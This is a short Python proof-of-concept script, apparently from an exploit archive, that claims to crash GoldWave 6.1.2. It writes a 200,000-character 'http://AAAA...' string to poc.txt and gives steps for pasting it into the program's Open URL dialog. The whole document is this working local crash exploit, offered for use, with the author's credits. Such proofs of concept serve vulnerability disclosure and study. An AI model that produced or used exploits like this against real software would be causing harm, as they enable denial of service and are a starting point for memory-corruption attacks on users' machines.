24 lines
No EOL
662 B
Python
Executable file
24 lines
No EOL
662 B
Python
Executable file
#!/usr/bin/python
|
|
# Exploit Title: GoldWave 6.1.2 (URL) Local Crash Exploit
|
|
# Date: 12-06-2015
|
|
# Exploit Author: 0neb1n
|
|
# Vendor Homepage: http://www.goldwave.com/
|
|
# Software Link: http://goldwave.com/downloads/InstallGoldWave612.exe
|
|
# Version: 6.1.2
|
|
# Tested on: Windows 8.1 Home KR
|
|
# Step 1 : Make poc.txt and copy "http://AAAAAAAA..."
|
|
# Step 2 : run GoldWave 6.1.2 -> File -> Open URl -> Paste "http://AAAAAA..."
|
|
# step 3 : Boom!!
|
|
|
|
file = "poc.txt"
|
|
|
|
data = 'http://' + '\x41' * 200000
|
|
|
|
fd = open(file, 'w')
|
|
fd.write(data)
|
|
fd.close()
|
|
|
|
print ""
|
|
print "[*] File successfully created !!"
|
|
print "[*] Author : 0neb1n"
|
|
print "[*] Mail : barcodecrow(at)gmail(dot)com" |